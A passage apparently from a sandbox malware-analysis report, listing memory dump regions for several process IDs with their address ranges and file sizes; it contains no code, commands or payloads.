                                                                                                                                              Filesize

                                                                                                                                              532KB

                                                                                                                                            • memory/3148-510-0x00000000034C0000-0x000000000354A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              552KB

                                                                                                                                            • memory/3148-180-0x0000000002CE0000-0x0000000002D49000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              420KB

                                                                                                                                            • memory/3148-597-0x00000000009B0000-0x000000000106A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/3148-525-0x0000000003710000-0x00000000037F2000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              904KB

                                                                                                                                            • memory/3148-110-0x0000000010000000-0x0000000014B4C000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              75.3MB

                                                                                                                                            • memory/3584-39-0x0000000006BB0000-0x0000000006BFC000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              304KB

                                                                                                                                            • memory/3584-38-0x00000000065F0000-0x000000000660E000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              120KB

                                                                                                                                            • memory/3584-26-0x0000000005F10000-0x0000000005F76000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              408KB

                                                                                                                                            • memory/3584-32-0x0000000005FF0000-0x0000000006056000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              408KB

                                                                                                                                            • memory/3584-25-0x0000000005620000-0x0000000005642000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              136KB

                                                                                                                                            • memory/3584-24-0x00000000056B0000-0x0000000005CD8000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.2MB

                                                                                                                                            • memory/3584-23-0x0000000002FD0000-0x0000000002FE0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3584-37-0x0000000006260000-0x00000000065B4000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              3.3MB

                                                                                                                                            • memory/3584-22-0x0000000002FD0000-0x0000000002FE0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3584-21-0x0000000003020000-0x0000000003056000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              216KB

                                                                                                                                            • memory/3584-42-0x00000000737A0000-0x0000000073F50000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/3584-20-0x00000000737A0000-0x0000000073F50000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/4076-17-0x0000000010000000-0x0000000014B4C000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              75.3MB

                                                                                                                                            • memory/4076-16-0x0000000000390000-0x0000000000A4A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/4076-582-0x0000000000390000-0x0000000000A4A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/4076-46-0x0000000000390000-0x0000000000A4A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB